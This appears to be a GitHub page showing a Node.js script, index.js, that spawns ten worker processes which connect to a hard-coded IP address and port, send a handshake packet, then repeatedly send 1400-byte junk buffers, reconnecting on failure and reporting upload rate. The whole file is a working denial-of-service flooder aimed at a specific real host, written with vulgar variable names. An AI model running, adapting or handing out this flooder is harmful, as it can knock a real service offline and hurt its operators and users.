-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathindex.js
84 lines (73 loc) · 1.73 KB
/
index.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#!/usr/bin/node
/**
* @file index.js -- all things
* @author XCRail Fans
* @copyright public "otome" domain
*/
'use strict'
const cluster = require('cluster')
const net = require('net')
const hellow = Buffer.from([0x07, 0x00, 0x04, 0x01, 0x30, 0x63, 0xdd, 0x01])
const buffet = Buffer.from([...new Array(1400).keys()].map((i) => 2 - i % 2))
if (cluster.isMaster) {
const config = {
host: '222.187.254.57',
port: '27310',
nick: ['xiaocao2015']
}
const stat = {
futa: 0,
_up_: 0,
_TATP_: 0
}
const oldsuiPs = 10
const fuck = () => cluster.fork().on('message', (delta) => {
stat.futa += delta.futa
stat._up_ += delta._up_
stat._TATP_ += delta._TATP_
stat.futa = delta.futa < 0 ? 0 : stat.futa
}).on('exit', (w, c, sig) => {
// if (w.exitedAfterDisconnect)
fuck()
}).send(config)
for (let i = 0; i < oldsuiPs; i++) {
fuck()
}
setInterval(() => console.log(`${(stat._up_ /= 2) >> 10} KB/s up, ${stat.futa} futas coming.`), 500)
} else if (cluster.isWorker) {
const macrossD = (futa, up, tatp) => {
process.send({
futa: futa,
_up_: up,
_TATP_: tatp
})
}
let suckit = new net.Socket()
suckit.setTimeout(1000)
process.on('message', ({host, port}) => {
const coming = () => {
suckit.write(buffet, () => {
macrossD(0, 1400, 1)
})
}
const shit = () => {
suckit.connect({
port: port,
host: host
})
}
suckit.on('connect', () => {
suckit.write(hellow)
macrossD(1, 0, 0)
coming()
}).on('close', () => {
macrossD(-1, 0, 0)
process.exit(0)
}).on('data', () => {
coming()
}).on('error', (err) => {
setTimeout(shit, 1000)
})
shit()
})
}